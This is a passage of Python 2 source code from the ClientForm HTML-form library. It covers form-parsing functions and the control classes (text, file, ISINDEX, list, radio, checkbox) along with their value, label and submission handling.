XHTMLCompatibleFormParser # testing hack #FormParser = RobustFormParser # testing hack def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseResponse, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(response, response.geturl(), select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseFile, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(file, base_uri, select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseResponse(response, *args, **kwds): """Parse HTTP response and return a list of HTMLForm instances. The return value of urllib2.urlopen can be conveniently passed to this function as the response parameter. ClientForm.ParseError is raised on parse errors. response: file-like object (supporting read() method) with a method geturl(), returning the URI of the HTTP response select_default: for multiple-selection SELECT controls and RADIO controls, pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is urllib2.Request) entitydefs: mapping like {"&amp;": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references when matching link text. ClientForm does not attempt to find the encoding in a META HTTP-EQUIV attribute in the document itself (mechanize, for example, does do that and will pass the correct value to ClientForm using this parameter). backwards_compat: boolean that determines whether the returned HTMLForm objects are backwards-compatible with old code. If backwards_compat is true: - ClientForm 0.1 code will continue to work as before. - Label searches that do not specify a nr (number or count) will always get the first match, even if other controls match. If backwards_compat is False, label searches that have ambiguous results will raise an AmbiguityError. - Item label matching is done by strict string comparison rather than substring matching. - De-selecting individual list items is allowed even if the Item is disabled. The backwards_compat argument will be deprecated in a future release. Pass a true value for select_default if you want the behaviour specified by RFC 1866 (the HTML 2.0 standard), which is to select the first item in a RADIO or multiple-selection SELECT control if none were selected in the HTML. Most browsers (including Microsoft Internet Explorer (IE) and Netscape Navigator) instead leave all items unselected in these cases. The W3C HTML 4.0 standard leaves this behaviour undefined in the case of multiple-selection SELECT controls, but insists that at least one RADIO button should be checked at all times, in contradiction to browser behaviour. There is a choice of parsers. ClientForm.XHTMLCompatibleFormParser (uses HTMLParser.HTMLParser) works best for XHTML, ClientForm.FormParser (uses sgmllib.SGMLParser) (the default) works better for ordinary grubby HTML. Note that HTMLParser is only available in Python 2.2 and later. You can pass your own class in here as a hack to work around bad HTML, but at your own risk: there is no well-defined interface. """ return _ParseFileEx(response, response.geturl(), *args, **kwds)[1:] def ParseFile(file, base_uri, *args, **kwds): """Parse HTML and return a list of HTMLForm instances. ClientForm.ParseError is raised on parse errors. file: file-like object (supporting read() method) containing HTML with zero or more forms to be parsed base_uri: the URI of the document (note that the base URI used to submit the form will be that given in the BASE element if present, not that of the document) For the other arguments and further details, see ParseResponse.__doc__. """ return _ParseFileEx(file, base_uri, *args, **kwds)[1:] def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode") fp = form_parser_class(entitydefs, encoding) file.seek(0) while 1: data = file.read(CHUNK) try: fp.feed(data) except ParseError, e: e.base_uri = base_uri raise if len(data) != CHUNK: break if fp.base is not None: # HTML BASE element takes precedence over document URI base_uri = fp.base labels = [] # Label(label) for label in fp.labels] id_to_labels = {} for l in fp.labels: label = Label(l) labels.append(label) for_id = l["for"] coll = id_to_labels.get(for_id) if coll is None: id_to_labels[for_id] = [label] else: coll.append(label) forms = [] for (name, action, method, enctype), attrs, controls in fp.forms: if action is None: action = base_uri else: action = _urljoin(base_uri, action) action = fp.unescape_attr_if_required(action) name = fp.unescape_attr_if_required(name) attrs = fp.unescape_attrs_if_required(attrs) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( action, method, enctype, name, attrs, request_class, forms, labels, id_to_labels, backwards_compat) form._urlparse = _urlparse form._urlunparse = _urlunparse for ii in range(len(controls)): type, name, attrs = controls[ii] attrs = fp.unescape_attrs_if_required(attrs) name = fp.unescape_attr_if_required(name) # index=ii*10 allows ImageControl to return multiple ordered pairs form.new_control(type, name, attrs, select_default=select_default, index=ii*10) forms.append(form) for form in forms: form.fixup() return forms class Label: def __init__(self, attrs): self.id = attrs.get("for") self._text = attrs.get("__text").strip() self._ctext = compress_text(self._text) self.attrs = attrs self._backwards_compat = False # maintained by HTMLForm def __getattr__(self, name): if name == "text": if self._backwards_compat: return self._text else: return self._ctext return getattr(Label, name) def __setattr__(self, name, value): if name == "text": # don't see any need for this, so make it read-only raise AttributeError("text attribute is read-only") self.__dict__[name] = value def __str__(self): return "<Label(id=%r, text=%r)>" % (self.id, self.text) def _get_label(attrs): text = attrs.get("__label") if text is not None: return Label(text) else: return None class Control: """An HTML form control. An HTMLForm contains a sequence of Controls. The Controls in an HTMLForm are accessed using the HTMLForm.find_control method or the HTMLForm.controls attribute. Control instances are usually constructed using the ParseFile / ParseResponse functions. If you use those functions, you can ignore the rest of this paragraph. A Control is only properly initialised after the fixup method has been called. In fact, this is only strictly necessary for ListControl instances. This is necessary because ListControls are built up from ListControls each containing only a single item, and their initial value(s) can only be known after the sequence is complete. The types and values that are acceptable for assignment to the value attribute are defined by subclasses. If the disabled attribute is true, this represents the state typically represented by browsers by 'greying out' a control. If the disabled attribute is true, the Control will raise AttributeError if an attempt is made to change its value. In addition, the control will not be considered 'successful' as defined by the W3C HTML 4 standard -- ie. it will contribute no data to the return value of the HTMLForm.click* methods. To enable a control, set the disabled attribute to a false value. If the readonly attribute is true, the Control will raise AttributeError if an attempt is made to change its value. To make a control writable, set the readonly attribute to a false value. All controls have the disabled and readonly attributes, not only those that may have the HTML attributes of the same names. On assignment to the value attribute, the following exceptions are raised: TypeError, AttributeError (if the value attribute should not be assigned to, because the control is disabled, for example) and ValueError. If the name or value attributes are None, or the value is an empty list, or if the control is disabled, the control is not successful. Public attributes: type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) (readonly) name: name of control (readonly) value: current value of control (subclasses may allow a single value, a sequence of values, or either) disabled: disabled state readonly: readonly state id: value of id HTML attribute """ def __init__(self, type, name, attrs, index=None): """ type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) name: control name attrs: HTML attributes of control's HTML element """ raise NotImplementedError() def add_to_form(self, form): self._form = form form.controls.append(self) def fixup(self): pass def is_of_kind(self, kind): raise NotImplementedError() def clear(self): raise NotImplementedError() def __getattr__(self, name): raise NotImplementedError() def __setattr__(self, name, value): raise NotImplementedError() def pairs(self): """Return list of (key, value) pairs suitable for passing to urlencode. """ return [(k, v) for (i, k, v) in self._totally_ordered_pairs()] def _totally_ordered_pairs(self): """Return list of (key, value, index) tuples. Like pairs, but allows preserving correct ordering even where several controls are involved. """ raise NotImplementedError() def _write_mime_data(self, mw, name, value): """Write data for a subitem of this control to a MimeWriter.""" # called by HTMLForm mw2 = mw.nextpart() mw2.addheader("Content-disposition", 'form-data; name="%s"' % name, 1) f = mw2.startbody(prefix=0) f.write(value) def __str__(self): raise NotImplementedError() def get_labels(self): """Return all labels (Label instances) for this control. If the control was surrounded by a <label> tag, that will be the first label; all other labels, connected by 'for' and 'id', are in the order that appear in the HTML. """ res = [] if self._label: res.append(self._label) if self.id: res.extend(self._form._id_to_labels.get(self.id, ())) return res #--------------------------------------------------- class ScalarControl(Control): """Control whose value is not restricted to one of a prescribed set. Some ScalarControls don't accept any value attribute. Otherwise, takes a single value, which must be string-like. Additional read-only public attribute: attrs: dictionary mapping the names of original HTML attributes of the control to their values """ def __init__(self, type, name, attrs, index=None): self._index = index self._label = _get_label(attrs) self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") self.disabled = attrs.has_key("disabled") self.readonly = attrs.has_key("readonly") self.id = attrs.get("id") self.attrs = attrs.copy() self._clicked = False self._urlparse = urlparse.urlparse self._urlunparse = urlparse.urlunparse def __getattr__(self, name): if name == "value": return self.__dict__["_value"] else: raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, name)) def __setattr__(self, name, value): if name == "value": if not isstringlike(value): raise TypeError("must assign a string") elif self.readonly: raise AttributeError("control '%s' is readonly" % self.name) elif self.disabled: raise AttributeError("control '%s' is disabled" % self.name) self.__dict__["_value"] = value elif name in ("name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def _totally_ordered_pairs(self): name = self.name value = self.value if name is None or value is None or self.disabled: return [] return [(self._index, name, value)] def clear(self): if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self.__dict__["_value"] = None def __str__(self): name = self.name value = self.value if name is None: name = "<None>" if value is None: value = "<None>" infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s=%s)%s>" % (self.__class__.__name__, name, value, info) #--------------------------------------------------- class TextControl(ScalarControl): """Textual input control. Covers: INPUT/TEXT INPUT/PASSWORD INPUT/HIDDEN TEXTAREA """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) if self.type == "hidden": self.readonly = True if self._value is None: self._value = "" def is_of_kind(self, kind): return kind == "text" #--------------------------------------------------- class FileControl(ScalarControl): """File upload with INPUT TYPE=FILE. The value attribute of a FileControl is always None. Use add_file instead. Additional public method: add_file """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) self._value = None self._upload_data = [] def is_of_kind(self, kind): return kind == "file" def clear(self): if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self._upload_data = [] def __setattr__(self, name, value): if name in ("value", "name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def add_file(self, file_object, content_type=None, filename=None): if not hasattr(file_object, "read"): raise TypeError("file-like object must have read method") if content_type is not None and not isstringlike(content_type): raise TypeError("content type must be None or string-like") if filename is not None and not isstringlike(filename): raise TypeError("filename must be None or string-like") if content_type is None: content_type = "application/octet-stream" self._upload_data.append((file_object, content_type, filename)) def _totally_ordered_pairs(self): # XXX should it be successful even if unnamed? if self.name is None or self.disabled: return [] return [(self._index, self.name, "")] def _write_mime_data(self, mw, _name, _value): # called by HTMLForm # assert _name == self.name and _value == '' if len(self._upload_data) == 1: # single file file_object, content_type, filename = self._upload_data[0] mw2 = mw.nextpart() fn_part = filename and ('; filename="%s"' % filename) or "" disp = 'form-data; name="%s"%s' % (self.name, fn_part) mw2.addheader("Content-disposition", disp, prefix=1) fh = mw2.startbody(content_type, prefix=0) fh.write(file_object.read()) elif len(self._upload_data) != 0: # multiple files mw2 = mw.nextpart() disp = 'form-data; name="%s"' % self.name mw2.addheader("Content-disposition", disp, prefix=1) fh = mw2.startmultipartbody("mixed", prefix=0) for file_object, content_type, filename in self._upload_data: mw3 = mw2.nextpart() fn_part = filename and ('; filename="%s"' % filename) or "" disp = "file%s" % fn_part mw3.addheader("Content-disposition", disp, prefix=1) fh2 = mw3.startbody(content_type, prefix=0) fh2.write(file_object.read()) mw2.lastpart() def __str__(self): name = self.name if name is None: name = "<None>" if not self._upload_data: value = "<No files added>" else: value = [] for file, ctype, filename in self._upload_data: if filename is None: value.append("<Unnamed file>") else: value.append(filename) value = ", ".join(value) info = [] if self.disabled: info.append("disabled") if self.readonly: info.append("readonly") info = ", ".join(info) if info: info = " (%s)" % info return "<%s(%s=%s)%s>" % (self.__class__.__name__, name, value, info) #--------------------------------------------------- class IsindexControl(ScalarControl): """ISINDEX control. ISINDEX is the odd-one-out of HTML form controls. In fact, it isn't really part of regular HTML forms at all, and predates it. You're only allowed one ISINDEX per HTML document. ISINDEX and regular form submission are mutually exclusive -- either submit a form, or the ISINDEX. Having said this, since ISINDEX controls may appear in forms (which is probably bad HTML), ParseFile / ParseResponse will include them in the HTMLForm instances it returns. You can set the ISINDEX's value, as with any other control (but note that ISINDEX controls have no name, so you'll need to use the type argument of set_value!). When you submit the form, the ISINDEX will not be successful (ie., no data will get returned to the server as a result of its presence), unless you click on the ISINDEX control, in which case the ISINDEX gets submitted instead of the form: form.set_value("my isindex value", type="isindex") urllib2.urlopen(form.click(type="isindex")) ISINDEX elements outside of FORMs are ignored. If you want to submit one by hand, do it like so: url = urlparse.urljoin(page_uri, "?"+urllib.quote_plus("my isindex value")) result = urllib2.urlopen(url) """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) if self._value is None: self._value = "" def is_of_kind(self, kind): return kind in ["text", "clickable"] def _totally_ordered_pairs(self): return [] def _click(self, form, coord, return_type, request_class=urllib2.Request): # Relative URL for ISINDEX submission: instead of "foo=bar+baz", # want "bar+baz". # This doesn't seem to be specified in HTML 4.01 spec. (ISINDEX is # deprecated in 4.01, but it should still say how to submit it). # Submission of ISINDEX is explained in the HTML 3.2 spec, though. parts = self._urlparse(form.action) rest, (query, frag) = parts[:-2], parts[-2:] parts = rest + (urllib.quote_plus(self.value), None) url = self._urlunparse(parts) req_data = url, None, [] if return_type == "pairs": return [] elif return_type == "request_data": return req_data else: return request_class(url) def __str__(self): value = self.value if value is None: value = "<None>" infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s)%s>" % (self.__class__.__name__, value, info) #--------------------------------------------------- class IgnoreControl(ScalarControl): """Control that we're not interested in. Covers: INPUT/RESET BUTTON/RESET INPUT/BUTTON BUTTON/BUTTON These controls are always unsuccessful, in the terminology of HTML 4 (ie. they never require any information to be returned to the server). BUTTON/BUTTON is used to generate events for script embedded in HTML. The value attribute of IgnoreControl is always None. """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) self._value = None def is_of_kind(self, kind): return False def __setattr__(self, name, value): if name == "value": raise AttributeError( "control '%s' is ignored, hence read-only" % self.name) elif name in ("name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value #--------------------------------------------------- # ListControls # helpers and subsidiary classes class Item: def __init__(self, control, attrs, index=None): label = _get_label(attrs) self.__dict__.update({ "name": attrs["value"], "_labels": label and [label] or [], "attrs": attrs, "_control": control, "disabled": attrs.has_key("disabled"), "_selected": False, "id": attrs.get("id"), "_index": index, }) control.items.append(self) def get_labels(self): """Return all labels (Label instances) for this item. For items that represent radio buttons or checkboxes, if the item was surrounded by a <label> tag, that will be the first label; all other labels, connected by 'for' and 'id', are in the order that appear in the HTML. For items that represent select options, if the option had a label attribute, that will be the first label. If the option has contents (text within the option tags) and it is not the same as the label attribute (if any), that will be a label. There is nothing in the spec to my knowledge that makes an option with an id unable to be the target of a label's for attribute, so those are included, if any, for the sake of consistency and completeness. """ res = [] res.extend(self._labels) if self.id: res.extend(self._control._form._id_to_labels.get(self.id, ())) return res def __getattr__(self, name): if name=="selected": return self._selected raise AttributeError(name) def __setattr__(self, name, value): if name == "selected": self._control._set_selected_state(self, value) elif name == "disabled": self.__dict__["disabled"] = bool(value) else: raise AttributeError(name) def __str__(self): res = self.name if self.selected: res = "*" + res if self.disabled: res = "(%s)" % res return res def __repr__(self): attrs = [("name", self.name), ("id", self.id)]+self.attrs.items() return "<%s %s>" % ( self.__class__.__name__, " ".join(["%s=%r" % (k, v) for k, v in attrs]) ) def disambiguate(items, nr, **kwds): msgs = [] for key, value in kwds.items(): msgs.append("%s=%r" % (key, value)) msg = " ".join(msgs) if not items: raise ItemNotFoundError(msg) if nr is None: if len(items) > 1: raise AmbiguityError(msg) nr = 0 if len(items) <= nr: raise ItemNotFoundError(msg) return items[nr] class ListControl(Control): """Control representing a sequence of items. The value attribute of a ListControl represents the successful list items in the control. The successful list items are those that are selected and not disabled. ListControl implements both list controls that take a length-1 value (single-selection) and those that take length >1 values (multiple-selection). ListControls accept sequence values only. Some controls only accept sequences of length 0 or 1 (RADIO, and single-selection SELECT). In those cases, ItemCountError is raised if len(sequence) > 1. CHECKBOXes and multiple-selection SELECTs (those having the "multiple" HTML attribute) accept sequences of any length. Note the following mistake: control.value = some_value assert control.value == some_value # not necessarily true The reason for this is that the value attribute always gives the list items in the order they were listed in the HTML. ListControl items can also be referred to by their labels instead of names. Use the label argument to .get(), and the .set_value_by_label(), .get_value_by_label() methods. Note that, rather confusingly, though SELECT controls are represented in HTML by SELECT elements (which contain OPTION elements, representing individual list items), CHECKBOXes and RADIOs are not represented by *any* element. Instead, those controls are represented by a collection of INPUT elements. For example, this is a SELECT control, named "control1": <select name="control1"> <option>foo</option> <option value="1">bar</option> </select> and this is a CHECKBOX control, named "control2": <input type="checkbox" name="control2" value="foo" id="cbe1"> <input type="checkbox" name="control2" value="bar" id="cbe2"> The id attribute of a CHECKBOX or RADIO ListControl is always that of its first element (for example, "cbe1" above). Additional read-only public attribute: multiple. """ # ListControls are built up by the parser from their component items by # creating one ListControl per item, consolidating them into a single # master ListControl held by the HTMLForm: # -User calls form.new_control(...) # -Form creates Control, and calls control.add_to_form(self). # -Control looks for a Control with the same name and type in the form, # and if it finds one, merges itself with that control by calling # control.merge_control(self). The first Control added to the form, of # a particular name and type, is the only one that survives in the # form. # -Form calls control.fixup for all its controls. ListControls in the # form know they can now safely pick their default values. # To create a ListControl without an HTMLForm, use: # control.merge_control(new_control) # (actually, it's much easier just to use ParseFile) _label = None def __init__(self, type, name, attrs={}, select_default=False, called_as_base_class=False, index=None): """ select_default: for RADIO and multiple-selection SELECT controls, pick the first item as the default if no 'selected' HTML attribute is present """ if not called_as_base_class: raise NotImplementedError() self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") self.disabled = False self.readonly = False self.id = attrs.get("id") # As Controls are merged in with .merge_control(), self.attrs will # refer to each Control in turn -- always the most recently merged # control. Each merged-in Control instance corresponds to a single # list item: see ListControl.__doc__. self.items = [] self._form = None self._select_default = select_default self._clicked = False def clear(self): self.value = [] def is_of_kind(self, kind): if kind == "list": return True elif kind == "multilist": return bool(self.multiple) elif kind == "singlelist": return not self.multiple else: return False def get_items(self, name=None, label=None, id=None, exclude_disabled=False): """Return matching items by name or label. For argument docs, see the docstring for .get() """ if name is not None and not isstringlike(name): raise TypeError("item name must be string-like") if label is not None and not isstringlike(label): raise TypeError("item label must be string-like") if id is not None and not isstringlike(id): raise TypeError("item id must be string-like") items = [] # order is important compat = self._form.backwards_compat for o in self.items: if exclude_disabled and o.disabled: continue if name is not None and o.name != name: continue if label is not None: for l in o.get_labels(): if ((compat and l.text == label) or (not compat and l.text.find(label) > -1)): break else: continue if id is not None and o.id != id: continue items.append(o) return items def get(self, name=None, label=None, id=None, nr=None, exclude_disabled=False): """Return item by name or label, disambiguating if necessary with nr. All arguments must be passed by name, with the exception of 'name', which may be used as a positional argument. If name is specified, then the item must have the indicated name. If label is specified, then the item must have a label whose whitespace-compressed, stripped, text substring-matches the indicated label string (eg. label="please choose" will match " Do please choose an item "). If id is specified, then the item must have the indicated id. nr is an optional 0-based index of the items matching the query. If nr is the default None value and more than item is found, raises AmbiguityError (unless the HTMLForm instance's backwards_compat attribute is true). If no item is found, or if items are found but nr is specified and not found, raises ItemNotFoundError. Optionally excludes disabled items. """ if nr is None and self._form.backwards_compat: nr = 0 # :-/ items = self.get_items(name, label, id, exclude_disabled) return disambiguate(items, nr, name=name, label=label, id=id) def _get(self, name, by_label=False, nr=None, exclude_disabled=False): # strictly for use by deprecated methods if by_label: name, label = None, name else: name, label = name, None return self.get(name, label, nr, exclude_disabled) def toggle(self, name, by_label=False, nr=None): """Deprecated: given a name or label and optional disambiguating index nr, toggle the matching item's selection. Selecting items follows the behavior described in the docstring of the 'get' method. if the item is disabled, or this control is disabled or readonly, raise AttributeError. """ deprecation( "item = control.get(...); item.selected = not item.selected") o = self._get(name, by_label, nr) self._set_selected_state(o, not o.selected) def set(self, selected, name, by_label=False, nr=None): """Deprecated: given a name or label and optional disambiguating index nr, set the matching item's selection to the bool value of selected. Selecting items follows the behavior described in the docstring of the 'get' method. if the item is disabled, or this control is disabled or readonly, raise AttributeError. """ deprecation( "control.get(...).selected = <boolean>") self._set_selected_state(self._get(name, by_label, nr), selected) def _set_selected_state(self, item, action): # action: # bool False: off # bool True: on if self.disabled: raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) action == bool(action) compat = self._form.backwards_compat if not compat and item.disabled: raise AttributeError("item is disabled") else: if compat and item.disabled and action: raise AttributeError("item is disabled") if self.multiple: item.__dict__["_selected"] = action else: if not action: item.__dict__["_selected"] = False else: for o in self.items: o.__dict__["_selected"] = False item.__dict__["_selected"] = True def toggle_single(self, by_label=None): """Deprecated: toggle the selection of the single item in this control. Raises ItemCountError if the control does not contain only one item. by_label argument is ignored, and included only for backwards compatibility. """ deprecation( "control.items[0].selected = not control.items[0].selected") if len(self.items) != 1: raise ItemCountError( "'%s' is not a single-item control" % self.name) item = self.items[0] self._set_selected_state(item, not item.selected) def set_single(self, selected, by_label=None): """Deprecated: set the selection of the single item in this control. Raises ItemCountError if the control does not contain only one item. by_label argument is ignored, and included only for backwards compatibility. """ deprecation( "control.items[0].selected = <boolean>") if len(self.items) != 1: raise ItemCountError( "'%s' is not a single-item control" % self.name) self._set_selected_state(self.items[0], selected) def get_item_disabled(self, name, by_label=False, nr=None): """Get disabled state of named list item in a ListControl.""" deprecation( "control.get(...).disabled") return self._get(name, by_label, nr).disabled def set_item_disabled(self, disabled, name, by_label=False, nr=None): """Set disabled state of named list item in a ListControl. disabled: boolean disabled state """ deprecation( "control.get(...).disabled = <boolean>") self._get(name, by_label, nr).disabled = disabled def set_all_items_disabled(self, disabled): """Set disabled state of all list items in a ListControl. disabled: boolean disabled state """ for o in self.items: o.disabled = disabled def get_item_attrs(self, name, by_label=False, nr=None): """Return dictionary of HTML attributes for a single ListControl item. The HTML element types that describe list items are: OPTION for SELECT controls, INPUT for the rest. These elements have HTML attributes that you may occasionally want to know about -- for example, the "alt" HTML attribute gives a text string describing the item (graphical browsers usually display this as a tooltip). The returned dictionary maps HTML attribute names to values. The names and values are taken from the original HTML. """ deprecation( "control.get(...).attrs") return self._get(name, by_label, nr).attrs def add_to_form(self, form): assert self._form is None or form == self._form, ( "can't add control to more than one form") self._form = form if self.name is None: # always count nameless elements as separate controls Control.add_to_form(self, form) else: try: control = form.find_control(self.name, self.type) except (ControlNotFoundError, AmbiguityError): Control.add_to_form(self, form) else: control.merge_control(self) def merge_control(self, control): assert bool(control.multiple) == bool(self.multiple) # usually, isinstance(control, self.__class__) self.items.extend(control.items) def fixup(self): """ ListControls are built up from component list items (which are also ListControls) during parsing. This method should be called after all items have been added. See ListControl.__doc__ for the reason this is required. """ # Need to set default selection where no item was indicated as being # selected by the HTML: # CHECKBOX: # Nothing should be selected. # SELECT/single, SELECT/multiple and RADIO: # RFC 1866 (HTML 2.0): says first item should be selected. # W3C HTML 4.01 Specification: says that client behaviour is # undefined in this case. For RADIO, exactly one must be selected, # though which one is undefined. # Both Netscape and Microsoft Internet Explorer (IE) choose first # item for SELECT/single. However, both IE5 and Mozilla (both 1.0 # and Firebird 0.6) leave all items unselected for RADIO and # SELECT/multiple. # Since both Netscape and IE all choose the first item for # SELECT/single, we do the same. OTOH, both Netscape and IE # leave SELECT/multiple with nothing selected, in violation of RFC 1866 # (but not in violation of the W3C HTML 4 standard); the same is true # of RADIO (which *is* in violation of the HTML 4 standard). We follow # RFC 1866 if the _select_default attribute is set, and Netscape and IE # otherwise. RFC 1866 and HTML 4 are always violated insofar as you # can deselect all items in a RadioControl. for o in self.items: # set items' controls to self, now that we've merged o.__dict__["_control"] = self def __getattr__(self, name): if name == "value": compat = self._form.backwards_compat if self.name is None: return [] return [o.name for o in self.items if o.selected and (not o.disabled or compat)] else: raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, name)) def __setattr__(self, name, value): if name == "value": if self.disabled: raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self._set_value(value) elif name in ("name", "type", "multiple"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def _set_value(self, value): if value is None or isstringlike(value): raise TypeError("ListControl, must set a sequence") if not value: compat = self._form.backwards_compat for o in self.items: if not o.disabled or compat: o.selected = False elif self.multiple: self._multiple_set_value(value) elif len(value) > 1: raise ItemCountError( "single selection list, must set sequence of " "length 0 or 1") else: self._single_set_value(value) def _get_items(self, name, target=1): all_items = self.get_items(name) items = [o for o in all_items if not o.disabled] if len(items) < target: if len(all_items) < target: raise ItemNotFoundError( "insufficient items with name %r" % name) else: raise AttributeError( "insufficient non-disabled items with name %s" % name) on = [] off = [] for o in items: if o.selected: on.append(o) else: off.append(o) return on, off def _single_set_value(self, value): assert len(value) == 1 on, off = self._get_items(value[0]) assert len(on) <= 1 if not on: off[0].selected = True def _multiple_set_value(self, value): compat = self._form.backwards_compat turn_on = [] # transactional-ish turn_off = [item for item in self.items if item.selected and (not item.disabled or compat)] names = {} for nn in value: if nn in names.keys(): names[nn] += 1 else: names[nn] = 1 for name, count in names.items(): on, off = self._get_items(name, count) for i in range(count): if on: item = on[0] del on[0] del turn_off[turn_off.index(item)] else: item = off[0] del off[0] turn_on.append(item) for item in turn_off: item.selected = False for item in turn_on: item.selected = True def set_value_by_label(self, value): """Set the value of control by item labels. value is expected to be an iterable of strings that are substrings of the item labels that should be selected. Before substring matching is performed, the original label text is whitespace-compressed (consecutive whitespace characters are converted to a single space character) and leading and trailing whitespace is stripped. Ambiguous labels are accepted without complaint if the form's backwards_compat is True; otherwise, it will not complain as long as all ambiguous labels share the same item name (e.g. OPTION value). """ if isstringlike(value): raise TypeError(value) if not self.multiple and len(value) > 1: raise ItemCountError( "single selection list, must set sequence of " "length 0 or 1") items = [] for nn in value: found = self.get_items(label=nn) if len(found) > 1: if not self._form.backwards_compat: # ambiguous labels are fine as long as item names (e.g. # OPTION values) are same opt_name = found[0].name if [o for o in found[1:] if o.name != opt_name]: raise AmbiguityError(nn) else: # OK, we'll guess :-( Assume first available item. found = found[:1] for o in found: # For the multiple-item case, we could try to be smarter, # saving them up and trying to resolve, but that's too much. if self._form.backwards_compat or o not in items: items.append(o) break else: # all of them are used raise ItemNotFoundError(nn) # now we have all the items that should be on # let's just turn everything off and then back on. self.value = [] for o in items: o.selected = True def get_value_by_label(self): """Return the value of the control as given by normalized labels.""" res = [] compat = self._form.backwards_compat for o in self.items: if (not o.disabled or compat) and o.selected: for l in o.get_labels(): if l.text: res.append(l.text) break else: res.append(None) return res def possible_items(self, by_label=False): """Deprecated: return the names or labels of all possible items. Includes disabled items, which may be misleading for some use cases. """ deprecation( "[item.name for item in self.items]") if by_label: res = [] for o in self.items: for l in o.get_labels(): if l.text: res.append(l.text) break else: res.append(None) return res return [o.name for o in self.items] def _totally_ordered_pairs(self): if self.disabled or self.name is None: return [] else: return [(o._index, self.name, o.name) for o in self.items if o.selected and not o.disabled] def __str__(self): name = self.name if name is None: name = "<None>" display = [str(o) for o in self.items] infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s=[%s])%s>" % (self.__class__.__name__, name, ", ".join(display), info) class RadioControl(ListControl): """ Covers: INPUT/RADIO """ def __init__(self, type, name, attrs, select_default=False, index=None): attrs.setdefault("value", "on") ListControl.__init__(self, type, name, attrs, select_default, called_as_base_class=True, index=index) self.__dict__["multiple"] = False o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("checked") def fixup(self): ListControl.fixup(self) found = [o for o in self.items if o.selected and not o.disabled] if not found: if self._select_default: for o in self.items: if not o.disabled: o.selected = True break else: # Ensure only one item selected. Choose the last one, # following IE and Firefox. for o in found[:-1]: o.selected = False def get_labels(self): return [] class CheckboxControl(ListControl): """ Covers: INPUT/CHECKBOX """ def __init__(self, type, name, attrs, select_default=False, index=None): attrs.setdefault("value", "on") ListControl.__init__(self, type, name, attrs, select_default, called_as_base_class=True, index=index) self.__dict__["multiple"] = True o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("checked") def get_labels(self): return [] class SelectControl(ListControl): """ Covers: SELECT (and OPTION) OPTION 'values', in HTML parlance, are Item 'names' in ClientForm parlance. SELECT control values and labels are subject to some messy defaulting rules. For example, if the HTML representation of the control is: <SELECT name=year> <OPTION value=0 label="2002">current year</OPTION> <OPTION value=1>2001</OPTION> <OPTION>2000</OPTION> </SELECT> The items, in order, have labels "2002", "2001" and "2000", whereas their names (the OPTION values) are "0", "1" and "2000" respectively. Note that the value of the last OPTION in this example defaults to its contents, as specified by RFC 1866, as do the labels of the second and third OPTIONs. The OPTION labels are sometimes more meaningful than the OPTION values, which can make for more maintainable code. Additional read-only public attribute: attrs The attrs attribute is a dictionary of the original HTML attributes of the SELECT element. Other ListControls do not have this attribute, because in other cases the control as a whole does not correspond to any single HTML element. control.get(...).attrs may be used as usual to get at the HTML attributes of the HTML elements corresponding to individual list items (for SELECT 